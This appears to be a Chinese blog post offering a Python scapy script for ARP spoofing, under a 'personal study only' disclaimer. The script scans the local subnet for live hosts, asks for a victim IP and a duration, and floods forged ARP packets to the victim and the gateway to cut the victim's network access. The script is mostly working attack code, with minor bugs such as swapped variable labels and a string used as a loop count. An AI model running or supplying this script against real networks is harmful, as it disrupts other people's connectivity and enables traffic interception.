阻网攻击脚本

PS:仅做个人学习用途!
image.png

#攻击指定IP实现断网-ARP
#原理:通过扫描当前攻击机的IP地址,得到内网的所有IP所在网关
#组成ARP数据包,对网关内的主机先发起Ping,有发些主机存活
#获得存活IP列表,选择需要攻击IP,发起攻击
#步步
#1:获得当前的IP及网关 route print
#2:封装ARP数据包,以太网的包结构形式来发起Ping,得到存活主机列表
#3:得到存活主机列表
#4:选择需要攻击或阻网的IP
#5:ARP攻击(封包/发包)-->代理,抓包
#6:设置攻击的长
import os
import time
from scapy.all import *
#pip install scapy
#
gw=''
netcard='Realtek PCIe GbE Family Controller #2'#攻击的网卡


def scan2spoof():
    global gw    
    #执行cmd命令 获得当前主机IP和网关
    for line in os.popen("route print"):
        #通过line获得IPV4和网关
        s=line.strip()
        if s.startswith('0.0.0.0'):
            iplist=s.split()
            ip=iplist[2]#网关
            gw=iplist[3]#当前IP
            print(ip)
            print(gw)
            break
    print("使用的网卡是:{}".format(netcard))
    print("本机的上网网关:{}".format(ip))
    print("本机的上网IP是:{}".format(gw))

    #封装一个ARP的数据包,符合以太网的包定义
    arppk=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24")
    ansip,unansip=srp(arppk,iface=netcard,timeout=2,verbose=0)
    print("扫描到{}台在线主机".format(len(ansip)))
    print("扫描到{}台不在线主机".format(len(unansip)))
    
    ansresip=[]
    for s,r in ansip:
        ansresip.append([r.psrc,r.hwsrc])#ip,mac
    ansresip.sort()#去重排序
    for ip,mac in ansresip:
        print(ip,"------>",mac)

    #代理/抓包
    #阻断网络
    vip=input("请输入需要攻击的IP:")
    ttl=input("请输入需要攻击的时间(秒):")
    #以下实现arp攻击即可
    for i in range(ttl*5):
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=gw),verbose=0)
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vip),verbose=0)
        time.sleep(0.2)
    print("对{}的ARP攻击完成".format(vip))



if __name__=='__main__':
    scan2spoof()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值